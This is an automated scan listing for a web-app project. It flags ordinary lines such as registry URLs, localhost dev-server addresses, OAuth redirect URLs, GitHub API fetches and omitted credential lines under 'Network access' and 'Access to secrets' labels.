"version": "1.2.5", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - Network accessline 4300
"resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - Network accessline 4308
"node_modules/yallist": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - Network accessline 4309
"version": "3.1.1", "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - Network accessline 4310
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - Network accessline 4315
"node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - Network accessline 4316
"version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - Network accessline 4317
"resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - Network accessline 4323
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4324
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4325
"url": "https://github.com/sponsors/sindresorhus"
web-app/package.json
- Executable scriptline 1
Executable file
web-app/postcss.config.js
- Executable scriptline 1
Executable file
web-app/server.py
- Executable scriptline 1
Executable file - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Network accessline 106
_default_cors_origins = [ f"http://127.0.0.1:{PORT}", - Network accessline 107
f"http://127.0.0.1:{PORT}", - Network accessline 108
f"http://localhost:{PORT}", - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 332
[Credential-related source omitted] - Network accessline 596
# Vite: " Local: http://localhost:5173/" - Network accessline 598
# Next.js: " - Local: http://localhost:3000" - Network accessline 600
# Django: "Starting development server at http://127.0.0.1:8000/" - Network accessline 602
# Flask: " * Running on http://127.0.0.1:5000" - Network accessline 608
# Rails: "Listening on http://0.0.0.0:3000" - Network accessline 610
# Laravel: "Server running on [http://127.0.0.1:8000]" - Network accessline 612
# Phoenix: "Running MyApp.Endpoint with Bandit at http://localhost:4000" - Network accessline 619
# Vite ready message: "ready in 300ms -- http://localhost:5173/" - Network accessline 658
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 659
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Access to secretsline 1075
[Credential-related source omitted] - Network accessline 1339
} if use_portless and portless_app_name: result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" - Network accessline 1340
if use_portless and portless_app_name: result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" result["port"] = 1355 - Network accessline 1341
result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" - Network accessline 1363
} if use_portless and portless_app_name: result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" - Network accessline 1364
if use_portless and portless_app_name: result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" result["port"] = 1355 - Network accessline 1365
result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" - Network accessline 1378
} if use_portless and portless_app_name: result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" - Network accessline 1379
if use_portless and portless_app_name: result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" result["port"] = 1355 - Network accessline 1380
result["portless_url"] = f"http://{portless_app_name}.localhost:1355/" - Access to secretsline 1605
[Credential-related source omitted] - Access to secretsline 1705
[Credential-related source omitted] - Network accessline 1765
try: def check() -> bool: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 1766
def check() -> bool: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) - Network accessline 1767
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 1938
if info.get("use_portless") and info.get("portless_app_name"): app_name = info["portless_app_name"] result["portless_url"] = f"http://{app_name}.localhost:1355/" - Network accessline 1939
app_name = info["portless_app_name"] result["portless_url"] = f"http://{app_name}.localhost:1355/" if alive: - Network accessline 1940
result["portless_url"] = f"http://{app_name}.localhost:1355/" - Access to secretsline 2104
[Credential-related source omitted] - Access to secretsline 2297
[Credential-related source omitted] - Access to secretsline 2679
[Credential-related source omitted] - Network accessline 2755
import urllib.request focus_data = json.dumps({"project_dir": project_dir}).encode() focus_req = urllib.request.Request( - Network accessline 2756
focus_data = json.dumps({"project_dir": project_dir}).encode() focus_req = urllib.request.Request( "http://127.0.0.1:57374/api/focus", - Network accessline 2757
focus_req = urllib.request.Request( - Network accessline 2758
"http://127.0.0.1:57374/api/focus", - Network accessline 2761
method="POST", ) urllib.request.urlopen(focus_req, timeout=2) - Network accessline 2762
) urllib.request.urlopen(focus_req, timeout=2) logger.info("Notified dashboard of project focus: %s", project_dir) - Network accessline 2763
urllib.request.urlopen(focus_req, timeout=2) - Access to secretsline 2936
[Credential-related source omitted] - Access to secretsline 2939
[Credential-related source omitted] - Access to secretsline 3212
[Credential-related source omitted] - Access to secretsline 3418
[Credential-related source omitted] - Network accessline 3561
url_match = re.search(r"https://gist\.github\.com/\S+", output) - Access to secretsline 3573
[Credential-related source omitted] - Access to secretsline 4340
[Credential-related source omitted] - Access to secretsline 4592
[Credential-related source omitted] - Network accessline 5011
try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - Network accessline 5012
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - Network accessline 5022
expo_url = f"exp://{lan_ip}:{port}" qr_api = f"https://api.qrserver.com/v1/create-qr-code/?size=250x250&data={expo_url}" - Network accessline 5023
qr_api = f"https://api.qrserver.com/v1/create-qr-code/?size=250x250&data={expo_url}" - Network accessline 5056
</div> <div class="web-link"> <a href="http://{lan_ip}:{port}" target="_blank">Open web version</a> - Network accessline 5057
<div class="web-link"> <a href="http://{lan_ip}:{port}" target="_blank">Open web version</a> </div> - Network accessline 5058
<a href="http://{lan_ip}:{port}" target="_blank">Open web version</a> - Access to secretsline 5300
[Credential-related source omitted] - Access to secretsline 5409
[Credential-related source omitted] - Network accessline 5766
gh = shutil.which("gh") if not gh: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 5768
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 6012
target_host = f"{app_name}.localhost" target_port = 1355 target_url = f"http://{target_host}:{target_port}/{path}" - Network accessline 6013
target_port = 1355 target_url = f"http://{target_host}:{target_port}/{path}" else: - Network accessline 6014
target_url = f"http://{target_host}:{target_port}/{path}" - Network accessline 6016
target_port = server["port"] target_host = f"127.0.0.1:{target_port}" target_url = f"http://127.0.0.1:{target_port}/{path}" - Network accessline 6018
target_url = f"http://127.0.0.1:{target_port}/{path}" - Network accessline 6036
client = httpx.AsyncClient(timeout=60.0, follow_redirects=False) - Network accessline 6222
return JSONResponse(status_code=501, content={"error": "GitHub OAuth not configured"}) state = generate_oauth_state() url = f"https://github.com/login/oauth/authorize?client_id={GITHUB_CLIENT_ID}&scope=user:email&state={state}" - Network accessline 6223
state = generate_oauth_state() url = f"https://github.com/login/oauth/authorize?client_id={GITHUB_CLIENT_ID}&scope=user:email&state={state}" return JSONResponse(content={"url": url}) - Network accessline 6224
url = f"https://github.com/login/oauth/authorize?client_id={GITHUB_CLIENT_ID}&scope=user:email&state={state}" - Access to secretsline 6232
[Credential-related source omitted] - Access to secretsline 6275
[Credential-related source omitted] - Network accessline 6290
if not GOOGLE_CLIENT_ID: return JSONResponse(status_code=501, content={"error": "Google OAuth not configured"}) redirect_uri = os.environ.get("GOOGLE_REDIRECT_URI", f"http://localhost:{PORT}/api/auth/google/callback") - Network accessline 6291
return JSONResponse(status_code=501, content={"error": "Google OAuth not configured"}) redirect_uri = os.environ.get("GOOGLE_REDIRECT_URI", f"http://localhost:{PORT}/api/auth/google/callback") state = generate_oauth_state() - Network accessline 6292
[Credential-related source omitted] - Access to secretsline 6292
[Credential-related source omitted] - Network accessline 6293
state = generate_oauth_state() url = ( f"https://accounts.google.com/o/oauth2/v2/auth" - Network accessline 6294
url = ( f"https://accounts.google.com/o/oauth2/v2/auth" f"?client_id={GOOGLE_CLIENT_ID}" - Network accessline 6295
f"https://accounts.google.com/o/oauth2/v2/auth" - Access to secretsline 6309
[Credential-related source omitted] - Network accessline 6322
[Credential-related source omitted] - Access to secretsline 6322
[Credential-related source omitted] - Access to secretsline 6355
[Credential-related source omitted] - Access to secretsline 6665
[Credential-related source omitted] - Access to secretsline 6674
[Credential-related source omitted] - Network accessline 7171
# Handle HTTPS: https://github.com/owner/repo.git - Network accessline 7199
gh = shutil.which("gh") if not gh: raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/") - Network accessline 7200
if not gh: raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/") return subprocess.run( - Network accessline 7201
raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/") - Network accessline 7303
}) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7304
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except subprocess.TimeoutExpired: - Network accessline 7305
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7351
return JSONResponse(content=issues) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7352
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except json.JSONDecodeError: - Network accessline 7353
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7390
return JSONResponse(content=issue) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7391
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except json.JSONDecodeError: - Network accessline 7392
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7438
return JSONResponse(content=prs) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7439
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except json.JSONDecodeError: - Network accessline 7440
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7478
return JSONResponse(content=pr) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7479
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except json.JSONDecodeError: - Network accessline 7480
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7514
return JSONResponse(content={"diff": result.stdout}) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7515
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except subprocess.TimeoutExpired: - Network accessline 7516
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Access to secretsline 7607
[Credential-related source omitted] - Network accessline 7780
return JSONResponse(content={"success": True}) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7781
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except subprocess.TimeoutExpired: - Network accessline 7782
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7822
return JSONResponse(content={"success": True, "sha": sha}) except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 7823
except FileNotFoundError: return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) except subprocess.TimeoutExpired: - Network accessline 7824
return JSONResponse(status_code=400, content={"error": "gh CLI not found. Install it: https://cli.github.com/"}) - Network accessline 8206
[Credential-related source omitted] - Access to secretsline 8206
[Credential-related source omitted] - Access to secretsline 8207
[Credential-related source omitted] - Network accessline 8208
print(f"Purple Lab starting on http://{host}:{port}/lab/") - Network accessline 8529
Supports both HTTPS and SSH remote formats: https://github.com/owner/repo.git -> owner/repo - Network accessline 8530
https://github.com/owner/repo.git -> owner/repo - Network accessline 8541
# HTTPS: https://github.com/owner/repo.git - Network accessline 8553
gh = shutil.which("gh") if not gh: raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/") - Network accessline 8554
if not gh: raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/") return subprocess.run( - Network accessline 8555
raise FileNotFoundError("gh CLI not found. Install it: https://cli.github.com/")
web-app/src/App.tsx
- Executable scriptline 1
Executable file
web-app/src/api/client.ts
- Executable scriptline 1
Executable file - Access to secretsline 23
[Credential-related source omitted] - Network accessline 33
async function fetchJSON<T>(path: string, options?: RequestInit): Promise<T> { const res = await fetch(`${API_BASE}${path}`, { - Network accessline 34
const res = await fetch(`${API_BASE}${path}`, { - Network accessline 771
getDocFileContent: async (sessionId: string, filename: string): Promise<string> => { const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/docs/files/${encodeURIComponent(filename)}`, { - Network accessline 772
const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/docs/files/${encodeURIComponent(filename)}`, { - Network accessline 783
const formData = new FormData(); formData.append('image', file); const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/chat/image`, { - Network accessline 784
formData.append('image', file); const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/chat/image`, { method: 'POST', - Network accessline 785
const res = await fetch(`${API_BASE}/sessions/${encodeURIComponent(sessionId)}/chat/image`, { - Access to secretsline 791
[Credential-related source omitted]
web-app/src/cockpit/AgentChatter.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/ChangeReview.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/EvidencePanel.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/ExecutionCockpit.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/FinalActions.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/PhaseTimeline.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/RiskPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/RunMetrics.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/StatusBanner.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/TaskHeader.tsx
- Executable scriptline 1
Executable file
web-app/src/cockpit/derive.ts
- Executable scriptline 1
Executable file
web-app/src/cockpit/phases.ts
- Executable scriptline 1
Executable file
web-app/src/cockpit/run-derive-view-test.mjs
web-app/src/cockpit/useCockpitState.ts
- Executable scriptline 1
Executable file
web-app/src/components/AIChatPanel.tsx
web-app/src/components/AchievementToast.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ActivityFeed.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ActivityPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/AgentDashboard.tsx
- Executable scriptline 1
Executable file
web-app/src/components/AuditTrail.tsx
- Executable scriptline 1
Executable file
web-app/src/components/Avatar.tsx
- Executable scriptline 1
Executable file
web-app/src/components/BenefitCards.tsx
- Executable scriptline 1
Executable file
web-app/src/components/BuildActivityFeed.tsx
- Executable scriptline 1
Executable file
web-app/src/components/BuildCelebration.tsx
- Executable scriptline 1
Executable file
web-app/src/components/BuildInsights.tsx
- Executable scriptline 1
Executable file
web-app/src/components/BuildProgressBar.tsx
- Executable scriptline 1
Executable file
web-app/src/components/BuildReplay.tsx
- Executable scriptline 1
Executable file
web-app/src/components/CICDPanel.tsx
- Executable scriptline 1
Executable file - Network accessline 508
const msg = err instanceof Error ? err.message : String(err); if (msg.includes('gh CLI not found')) { setPanelError({ type: 'gh_not_found', message: 'The gh CLI is not installed. Install it from https://cli.github.com/ to enab - Network accessline 509
if (msg.includes('gh CLI not found')) { setPanelError({ type: 'gh_not_found', message: 'The gh CLI is not installed. Install it from https://cli.github.com/ to enable CI/CD integration.' }); } else if (msg.includes('not authen - Network accessline 510
setPanelError({ type: 'gh_not_found', message: 'The gh CLI is not installed. Install it from https://cli.github.com/ to enable CI/CD integration.' }); - Network accessline 635
<p className="text-xs text-[#939084] mt-1">{panelError.message}</p> <a href="https://cli.github.com/" - Network accessline 636
<a href="https://cli.github.com/" target="_blank" - Network accessline 637
href="https://cli.github.com/"
web-app/src/components/Celebration.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ChangePreview.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ChangelogWidget.tsx
- Executable scriptline 1
Executable file - Network accessline 7
<h4 className="text-sm font-bold text-[#36342E]">Changelog</h4> <a href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md" - Network accessline 8
<a href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md" target="_blank" - Network accessline 9
href="https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md"
web-app/src/components/CheckpointTimeline.tsx
- Executable scriptline 1
Executable file
web-app/src/components/CommandPalette.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ComplianceDashboard.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ContextualHelp.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ControlBar.tsx
- Executable scriptline 1
Executable file
web-app/src/components/CostEstimator.tsx
- Executable scriptline 1
Executable file
web-app/src/components/CustomTemplateCreator.tsx
- Executable scriptline 1
Executable file
web-app/src/components/DeployConnections.tsx
- Executable scriptline 1
Executable file - Network accessline 62
bgColor: 'bg-ink/10', borderColor: 'border-ink/20', tokenUrl: 'https://vercel.com/account/tokens', - Network accessline 63
borderColor: 'border-ink/20', tokenUrl: 'https://vercel.com/account/tokens', tokenUrlLabel: 'Get your token from vercel.com/account/tokens', - Network accessline 64
tokenUrl: 'https://vercel.com/account/tokens', - Network accessline 74
bgColor: 'bg-teal-500/10', borderColor: 'border-teal-500/20', tokenUrl: 'https://app.netlify.com/user/applications#personal-access-tokens', - Network accessline 75
borderColor: 'border-teal-500/20', tokenUrl: 'https://app.netlify.com/user/applications#personal-access-tokens', tokenUrlLabel: 'Get your token from app.netlify.com/user/applications', - Network accessline 76
tokenUrl: 'https://app.netlify.com/user/applications#personal-access-tokens', - Network accessline 86
bgColor: 'bg-purple-500/10', borderColor: 'border-purple-500/20', tokenUrl: 'https://cli.github.com/', - Network accessline 87
borderColor: 'border-purple-500/20', tokenUrl: 'https://cli.github.com/', tokenUrlLabel: 'Install GitHub CLI', - Network accessline 88
tokenUrl: 'https://cli.github.com/', - Network accessline 198
</div> <a href="https://cli.github.com/" - Network accessline 199
<a href="https://cli.github.com/" target="_blank" - Network accessline 200
href="https://cli.github.com/"
web-app/src/components/DeployPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/DeviceFrameSelector.tsx
- Executable scriptline 1
Executable file
web-app/src/components/Divider.tsx
- Executable scriptline 1
Executable file
web-app/src/components/DocsSidebar.tsx
web-app/src/components/ErrorBoundary.tsx
- Executable scriptline 1
Executable file
web-app/src/components/EvidenceReceiptPanel.tsx
web-app/src/components/FeatureDiscoveryDot.tsx
- Executable scriptline 1
Executable file
web-app/src/components/FeaturedTemplates.tsx
- Executable scriptline 1
Executable file
web-app/src/components/FileBrowser.tsx
- Executable scriptline 1
Executable file
web-app/src/components/Footer.tsx
- Executable scriptline 1
Executable file - Network accessline 18
{ label: 'Features', to: '/' }, { label: 'Templates', to: '/templates' }, { label: 'Docs', href: 'https://github.com/asklokesh/loki-mode/wiki' }, - Network accessline 19
{ label: 'Templates', to: '/templates' }, { label: 'Docs', href: 'https://github.com/asklokesh/loki-mode/wiki' }, ], - Network accessline 20
{ label: 'Docs', href: 'https://github.com/asklokesh/loki-mode/wiki' }, - Network accessline 25
links: [ { label: 'Quick Start', to: '/' }, { label: 'API Reference', href: 'https://github.com/asklokesh/loki-mode/wiki/API-Reference' }, - Network accessline 26
{ label: 'Quick Start', to: '/' }, { label: 'API Reference', href: 'https://github.com/asklokesh/loki-mode/wiki/API-Reference' }, { label: 'CLI Docs', href: 'https://github.com/asklokesh/loki-mode/wiki/CLI-Reference' }, - Network accessline 27
{ label: 'API Reference', href: 'https://github.com/asklokesh/loki-mode/wiki/API-Reference' }, - Network accessline 28
{ label: 'CLI Docs', href: 'https://github.com/asklokesh/loki-mode/wiki/CLI-Reference' }, - Network accessline 29
{ label: 'Changelog', href: 'https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md' }, - Network accessline 33
title: 'Company', links: [ { label: 'About Autonomi', href: 'https://www.autonomi.dev/' }, - Network accessline 34
links: [ { label: 'About Autonomi', href: 'https://www.autonomi.dev/' }, { label: 'Blog', href: 'https://www.autonomi.dev/blog' }, - Network accessline 35
{ label: 'About Autonomi', href: 'https://www.autonomi.dev/' }, - Network accessline 36
{ label: 'Blog', href: 'https://www.autonomi.dev/blog' }, - Network accessline 37
{ label: 'Careers', href: 'https://www.autonomi.dev/careers' }, - Network accessline 42
title: 'Community', links: [ { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' }, - Network accessline 43
links: [ { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' }, { label: 'Discord', href: 'https://discord.gg/autonomi' }, - Network accessline 44
{ label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' }, - Network accessline 45
{ label: 'Discord', href: 'https://discord.gg/autonomi' }, - Network accessline 46
{ label: 'Twitter', href: 'https://twitter.com/autonomidev' }, - Network accessline 47
{ label: 'Forum', href: 'https://github.com/asklokesh/loki-mode/discussions' }, - Network accessline 98
</div> <div className="flex items-center gap-4 text-xs text-[#6B6960]"> <a href="https://www.autonomi.dev/privacy" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors"> - Network accessline 99
<div className="flex items-center gap-4 text-xs text-[#6B6960]"> <a href="https://www.autonomi.dev/privacy" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors"> Privacy - Network accessline 100
<a href="https://www.autonomi.dev/privacy" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors"> - Network accessline 101
Privacy </a> <a href="https://www.autonomi.dev/terms" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors"> - Network accessline 102
</a> <a href="https://www.autonomi.dev/terms" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors"> Terms - Network accessline 103
<a href="https://www.autonomi.dev/terms" target="_blank" rel="noopener noreferrer" className="hover:text-[#553DE9] transition-colors">
web-app/src/components/GettingStarted.tsx
- Executable scriptline 1
Executable file
web-app/src/components/GitHubIssuesPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/GitHubPRsPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/GitPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/HowItWorks.tsx
- Executable scriptline 1
Executable file - Network accessline 112
</div> <div className="px-3 py-1.5 rounded-lg bg-[#FAF9F6] border border-[#ECEAE3]"> <span className="text-[10px] font-mono text-[#553DE9]">https://my-app.vercel.app</span> - Network accessline 113
<div className="px-3 py-1.5 rounded-lg bg-[#FAF9F6] border border-[#ECEAE3]"> <span className="text-[10px] font-mono text-[#553DE9]">https://my-app.vercel.app</span> </div> - Network accessline 114
<span className="text-[10px] font-mono text-[#553DE9]">https://my-app.vercel.app</span>
web-app/src/components/KeyboardShortcuts.tsx
- Executable scriptline 1
Executable file
web-app/src/components/LoadingMessages.tsx
- Executable scriptline 1
Executable file
web-app/src/components/MagicComponentCard.tsx
- Executable scriptline 1
Executable file
web-app/src/components/MagicGeneratorPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/MemoryViewer.tsx
- Executable scriptline 1
Executable file
web-app/src/components/MetricsPanel.tsx
- Executable scriptline 1
Executable file
web-app/src/components/NLSearch.tsx
- Executable scriptline 1
Executable file
web-app/src/components/NotificationSystem.tsx
- Executable scriptline 1
Executable file
web-app/src/components/OnboardingOverlay.tsx
- Executable scriptline 1
Executable file
web-app/src/components/OpenSourceStats.tsx
- Executable scriptline 1
Executable file - Network accessline 71
const fetchStats = async () => { const [repoRes, contributorsRes, npmRes] = await Promise.allSettled([ fetch(`https://api.github.com/repos/${GITHUB_REPO}`), - Network accessline 72
const [repoRes, contributorsRes, npmRes] = await Promise.allSettled([ fetch(`https://api.github.com/repos/${GITHUB_REPO}`), fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=1&anon=true`, { method: 'HE - Network accessline 73
fetch(`https://api.github.com/repos/${GITHUB_REPO}`), - Network accessline 74
fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=1&anon=true`, { method: 'HEAD' }), - Network accessline 75
fetch(`https://api.npmjs.org/downloads/point/last-month/${NPM_PACKAGE}`), - Network accessline 88
next.contributors = parseInt(match[1], 10); } else { const contribRes = await fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=100&anon=true`); - Network accessline 89
} else { const contribRes = await fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=100&anon=true`); if (contribRes.ok) { - Network accessline 90
const contribRes = await fetch(`https://api.github.com/repos/${GITHUB_REPO}/contributors?per_page=100&anon=true`); - Network accessline 122
viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" - Network accessline 123
fill="none" xmlns="http://www.w3.org/2000/svg" className="text-[#36342E] dark:text-[#E8E6E3]" - Network accessline 124
xmlns="http://www.w3.org/2000/svg" - Network accessline 141
<div className="mt-4 text-center"> <a href={`https://github.com/${GITHUB_REPO}`} - Network accessline 142
<a href={`https://github.com/${GITHUB_REPO}`} target="_blank" - Network accessline 143
href={`https://github.com/${GITHUB_REPO}`} - Network accessline 147
> Star us on GitHub <svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> - Network accessline 148
Star us on GitHub <svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M7 17L17 7M17 7H7M17 7V17" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLi - Network accessline 149
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
web-app/src/components/PRDInput.tsx
- Executable scriptline 1
Executable file
web-app/src/components/PhaseVisualizer.tsx
- Executable scriptline 1
Executable file
web-app/src/components/PlanModal.tsx
- Executable scriptline 1
Executable file
web-app/src/components/PreviewToolbar.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ProductTour.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ProjectGovernance.tsx
- Executable scriptline 1
Executable file
web-app/src/components/ProjectWorkspace.tsx
- Executable scriptline 1
Executable file - Access to secretsline 421
[Credential-related source omitted] - Network accessline 974
useEffect(() => { if (activeWorkspaceTab !== 'dashboard') return; fetch(`http://127.0.0.1:${dashboardPort}/health`) - Network accessline 975
if (activeWorkspaceTab !== 'dashboard') return; fetch(`http://127.0.0.1:${dashboardPort}/health`) .then(r => setDashboardAvailable(r.ok)) - Network accessline 976
fetch(`http://127.0.0.1:${dashboardPort}/health`) - Network accessline 1050
? (devServer.framework === 'expo' ? `${MOUNT_BASE}/api/sessions/${encodeURIComponent(sessionData.id)}/expo-qr` : (devServer.portless_url || `http://localhost:${devServer.port}/`)) - Network accessline 1051
? `${MOUNT_BASE}/api/sessions/${encodeURIComponent(sessionData.id)}/expo-qr : (devServer.portless_url || `http://localhost:${devServer.port}/`)) - Network accessline 1052
: (devServer.portless_url || `http://localhost:${devServer.port}/`)) - Network accessline 1101
const port = devServer?.port; if (port) { resolvedUrl = `http://localhost:${port}${url}`; - Network accessline 1102
if (port) { resolvedUrl = `http://localhost:${port}${url}`; } - Network accessline 1103
resolvedUrl = `http://localhost:${port}${url}`; - Network accessline 2227
setDashboardAvailable(null); try { const r = await fetch(`http://127.0.0.1:${dashboardPort}/health`); - Network accessline 2228
try { const r = await fetch(`http://127.0.0.1:${dashboardPort}/health`); setDashboardAvailable(r.ok); - Network accessline 2229
const r = await fetch(`http://127.0.0.1:${dashboardPort}/health`); - Network accessline 2261
<div className="flex-1" /> <a href={`http://127.0.0.1:${dashboardPort}/`} - Network accessline 2262
<a href={`http://127.0.0.1:${dashboardPort}/`} target="_blank" - Network accessline 2263
href={`http://127.0.0.1:${dashboardPort}/`} - Network accessline 2271
{/* Embedded iframe */} <iframe src={`http://127.0.0.1:${dashboardPort}/#${dashboardView}`} - Network accessline 2272
<iframe src={`http://127.0.0.1:${dashboardPort}/#${dashboardView}`} className="flex-1 w-full border-none" - Network accessline 2273
